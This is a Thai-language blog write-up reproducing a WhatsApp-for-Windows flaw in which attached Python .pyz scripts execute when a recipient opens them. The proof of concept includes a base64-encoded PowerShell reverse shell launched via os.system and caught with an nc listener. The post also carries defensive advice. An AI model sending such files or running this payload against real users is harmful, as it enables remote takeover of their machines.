สวัสดีครับ ทุกคนคนคงรู้จัก WhatsApp หรือ Instant messaging (IM) ที่มีฟังก์ชันคล้าย Line, Facebook Messenger, Telegram และอื่น ๆ ที่มีฐานจำนวนผู้ใช้อยู่ประมาณ 2 พันล้านคนในกว่า 180 ประเทศ ซึ่งที่ผ่านมานั้น WhatsApp สนับสนุนการอัปเดตด้านความปลอดภัยอยู่ตลอด
แต่เมื่อไม่นานมานี้หลายคนคงได้เห็นข่าวเกี่ยวกับช่องโหว่ WhatsApp บน WindowsOS ซึ่งช่องโหว่นี้ถูกค้นพบประมาณเมื่อ 1 เดือนก่อน โดย Security Researcher ท่านหนึ่งนามว่า “Saumyajeet Das” (สามารถอ่านเพิ่มเติมได้ที่นี่เลยครับ Saumyajeet Das on LinkedIn: #zeron #cybersecurity #initial_access #infosec #datasecurity… | 93 comments )
โดยช่องโหว่ดังกล่าวมีผลกระทบกับ WhatsApp เวอร์ชันล่าสุดในระบบปฏิบัติการ Windows ซึ่งสามารถ Execute Command หรือรันคำสั่งของระบบปฏิบัติการได้ผ่านการแนบไฟล์ Script PHP หรือ Python ด้วยการใช้ Extension ไฟล์ PHP, PYZ, PYZW หรือ EVTX ส่งไฟล์ดังกล่าวไปยังช่องแชท ทำให้ใครก็ตามเปิดไฟล์ดังกล่าวก็จะถูก Execute Command บนระบบของผู้เปิดนั่นเอง แต่มีเงื่อนไขอยู่ข้อหนึ่งนั่นก็คือผู้ที่ใช้ WhatsApp ผ่านระบบปฏิบัติการ Windows ที่สามารถโดน Malicious ได้นั้น ต้องติดตั้ง Python บนระบบปฏิบัติการนั่นเอง ซึ่งเวอร์ชันปัจจุบันหรือ v2.2429.10.0 ก็ยังพบช่องโหว่นี้อยู่ ไม่รอช้าผมได้โหลด WhatsApp สำหรับ Windows ผ่านตัว Microsoft Store แล้วเราก็ไปเริ่มกันเลยครับบบบบ
สำหรับรายละเอียดของช่องโหว่นี้ คือ การ Execute Command หรือดำเนินคำสั่งใด ๆ ก็ได้ตามที่ต้องการได้ (Arbitrary Remote Code Execution) ผ่านการเขียน Script ด้วย PHP หรือ Python (ในบทความครั้งนี้จะ PoC ด้วย Python ครับ) โดยการเปลี่ยนนามสกุลไฟล์หรือ File Extension เป็น PHP, PYZ (Python ZIP app) คือ Zip ที่ประกอบไปด้วย Python Code และ dependencies ทั้งหมด ที่สามารถรันหรือเรียกว่า ready-to-run (สามารถ อ่านเพิ่มเติมได้ที่นี่,)
PYZW (PyInstaller programme) คือ ไฟล์โปรแกรมที่เขียนด้วยภาษา Python และมีลักษณะคล้ายกับไฟล์ PYZ โดยไฟล์ PYZW สามารถถูกรันได้โดยตรงใน Python Launcher ;ref แตกต่างกันตรงที่ PYZ นิยามถึง console หรือ Command-line แต่ PYZW นั้นอาจหมายถึง GUI Application หรือ EVTX (Windows event Log file) คือ ไฟล์บันทึกเหตุการณ์ (Event Log) ของระบบปฏิบัติการ Windows ที่ถูกจัดเก็บในรูปแบบ XML ;ref ซึ่งเราสามารถแทรก Script ด้วย Extension เหล่านี้ได้โดยไม่มีการป้องกันการดาวน์โหลดไฟล์อันตรายเหล่านี้จาก WhatsApp
ใด ๆ แล้วหากทำเพียงแค่นี้ก็ยังไม่สามารถใช้งานช่องโหว่นี้ได้ครับ โดยเหยื่อที่จะโดนช่องโหว่นี้ต้องติดตั้ง Python บนระบบของตนเอง ดังนั้นแล้วสิ่งที่จำเป็นสำหรับช่องโหว่นี้ที่เหยื่อจะโดนทั้งหมดก็คือ
1. WindowsOS หรือระบบปฏิบัติการ Windows
2. Python ที่ถูกติดตั้งบนระบบนั้น ๆ
3. ผู้ใช้งานกดเปิดไฟล์ขึ้นมา
จากความต้องการทั้งหมด แล้วผู้ใช้งาน WhatsApp บน Windows ทั่วไปอาจจะโดนโจมตีได้ยาก แต่ถ้าเป็นกลุ่มคนในแวดวง IT ก็อาจจะโดนได้ง่ายกว่าผู้ใช่งานทั่วไป
ความเสียหายของช่องโหว่นี้ หากเป็นเพียงการส่งไปยังแชทคู่สนทนาอาจจะไม่กว้างนัก แต่หากมีเหตุการณ์ที่โดนยึด Account แล้วส่งไฟล์ที่เป็นอันตรายไปในรายชื่อผู้ติดต่อต่าง ๆ หรืออาจจะในกลุ่มแชทต่าง ๆ ก็เป็น Attack Surface ที่กว้างพอสมควรครับ
อย่างไรก็ตามการป้องกันตัวเองก็เป็นสิ่งที่ดีและควรที่จำทำเช่นกันครับ โดยไม่เปิดไฟล์หรือโหลดไฟล์ที่น่าสงสัยต่าง ๆ จากบุคคลที่ไม่รู้จัก หรือโดนสั่งให้ทำโดยที่ไม่มีเหตุผล ไม่ใช่แค่ใน WhatsApp นะครับ แต่รวมไปถึง Platform Social Media ต่าง ๆ บนโลก Internet ด้วยครับ เพราะเหตุการณ์ภัยคุกคามทางไซเบอร์ต่าง ๆ ที่พบเห็นได้ในปัจจุบันนั้นมีผู้ตกเป็นเหยื่ออยู่มากมาย ดังนั้นแล้วการป้องกันตัวเองและรู้เท่าทันภัยได้มากเท่าไรก็จะยิ่งเป็นการดีครับ
ต่อไปนี้จะเป็นการ PoC นะครับบบ
โดยเริ่มแรกเลยเมื่อผมอ่านข่าวนี้ ผมก็ได้ลอง PoC ตามบทความที่ได้อ่าน ด้วยคำสั่งง่าย ๆ ด้วย Notepad เลยครับ
import os
os.system(“start chrome https://www.youtube.com/watch?v=dQw4w9WgXcQ")
โดยคำสั่งนี้คือการเรียกใช้งานโมดูล คำสั่งบนปฏิบัติการด้วย Library ของภาษา Python ให้เปิดใช้งาน Chrome Browser แล้วไปยังลิงก์ดังกล่าวและใช้นามสกุลไฟล์หรือ File Extension เป็น .pyz
จากนั้นผมก็ได้สร้าง Account และส่งไฟล์ดังกล่าวไปยังช่องแชท อีก Account ที่สร้างขึ้น โดยผมตั้งชื่อไฟล์ว่า TestEx.pyz
จากนั้นผมกก็นำอีกเครื่องหนึ่งมาเปิดไฟล์ดังกล่าว
แล้วก็พบว่า Chrome Browser เด้งขึ้นมายังหน้าจอและเปิด Never Gonna Give You Up
จะเห็นได้ว่าอีกเครื่องที่เปิดไฟล์ดังกล่าวถูก Execute Command บนเครื่องหรือโดน RCE แล้วนั่นเองงง
ต่อมาผมได้เปลี่ยนคำสั่ง Script ดังกล่าวเป็นการทำ Reverse Shell คือการสร้าง Shell ให้ติดต่อกลับมายังเครื่องของตนเองโดยการเปิด Listener รอรับการเชื่อมต่อกลับมา ด้วยคำสั่ง
import os
os.system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAuADEALgAxAC4AMQAiACwAMQAyADMANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")
ซึ่งคำสั่งดงกล่าวเปลี่ยนมาใช้การเรียก powershell ให้เรียกใช้ revser shell ด้วย Base-64
จากนั้นผมเปิด Listener ด้วยเครื่องมือ nc
ผมได้ส่งไฟล์ดังกล่าวไปยังช่องแชทเดิมโดยใช้ชื่อเดิม ผมลบอันเก่าออกเพื่อความสวยงาม (เวลาในการส่งคนละเวลาเด้อ)
จากนั้นผมก็เปิดไฟล์ดังกล่าวจากอีกเครื่อง
เมื่อเปิดไฟล์ดังกล่าวแล้วก็จะมีหน้าต่าง Terminal เด้งขึ้นมา
จากกนั้นผมกลับไปดูที่ Listener ที่เปิดรอ ก็พบว่ามี Connection เข้ามา โดยสิทธิ์ที่ได้นั้นเป็น Users ที่กดเปิดไฟล์ดังกล่าว ไม่ได้เป็นสิทธิ์ “NT AUTHORITY/SYSTEM” แต่อย่างใด (ทดสอบโดยการปิด Windows Defender ครับ หากเปิดไว้ Windows Defender ก็กินครับ)
และสุดท้ายครับ ผมโดนแบนนนนนนนนนนนนนนนนนนนนนนน T^T
และก็จบลงแล้วนะครับ ขอขอบคุณผู้อ่านที่ยอมอ่านมาจนถึงจบด้วยครับ สำหรับบทความนี้เป็นบทความที่สองของผมที่ได้เขียนและเผยแพร่สู่สาธารณะ และบทความนี้จะแตกต่างจากบทความแรกที่เป็นการพาทำหรือแชร์การทำแล็บ HTB ครับ (สามารถเข้าไปอ่านกันได้ที่นี่เลยนะครับ https://datafarm-cybersecurity.medium.com/sau-walkthrough-hack-the-box-ef5ba3fa0bc9)
สุดท้ายนี้หากมีข้อผิดพลาดที่ใด ไม่ว่าจะด้วยภาษาที่ใช้ ความถูกต้องของเนื้อหาบทความ หรือความครบถ้วนของข้อมูล ผมต้องขออภัยด้วยครับ แล้วไว้พบกันใหม่ในบทความหน้านะครับ สวัสดีครับ
Reference:
- https://www.linkedin.com/feed/update/urn:li:activity:7212379311520022528/
- https://hackhunting.com/2024/08/01/critical-vulnerability-in-whatsapp-for-windows-allows-hackers-to-execute-to-arbitrary-code/?fbclid=IwY2xjawEb08ZleHRuA2FlbQIxMQABHUQaBpr-UeuSdZxce_ddTg1dbobwlJAWcx65ll4p_fxUQEvQKQ2VuODWQg_aem_aGpJ43MJ0_bET2Av5I-1fA
- https://realpython.com/python-zipapp/
- https://fileinfobase.com/extension/pyzw#google_vignette
- https://filext.com/file-extension/EVTX